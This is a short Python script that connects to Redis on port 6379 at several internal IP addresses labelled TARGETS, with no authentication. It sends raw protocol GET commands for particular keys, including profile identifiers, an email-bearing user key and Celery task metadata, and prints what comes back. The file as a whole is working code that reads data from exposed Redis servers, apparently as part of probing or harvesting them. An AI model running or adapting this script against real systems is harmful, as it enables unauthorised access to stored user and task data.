import socket, time, json
TARGETS = {
    '10.24.60.14': ['atp:masteruser@velexa.com:autoQMProfile', 'atp:guest-821ca66534d34be:WP-QM-profile'],
    '10.24.104.20': ['atp:CSBICFD1:autoQMProfile'],
    '10.24.105.14': ['atp:tpDemo7:autoQMProfile'],
    '10.24.8.82': ['celery-task-meta-4286fb04-d948-4b58-aeb7-bb046032ac85'],
    '10.24.60.52': [],
}
def conn(ip):
    s = socket.create_connection((ip, 6379), 4); s.settimeout(4)
    return s
def cmd(s, *a):
    p = b'*%d\r\n' % len(a)
    for x in a:
        x = x.encode() if isinstance(x, str) else x
        p += b'$%d\r\n%s\r\n' % (len(x), x)
    s.sendall(p); time.sleep(0.5)
    o = b''
    try:
        while True:
            d = s.recv(65536)
            if not d: break
            o += d
            if len(d) < 65536: break
    except socket.timeout: pass
    return o.decode(errors='replace')
for ip, keys in TARGETS.items():
    print('===', ip)
    try:
        s = conn(ip)
        for k in keys:
            v = cmd(s, 'GET', k)
            print(' ', k[:50], '->', v[:200].replace('\r\n', ' '))
        s.close()
    except Exception as e:
        print('  ERR', e)
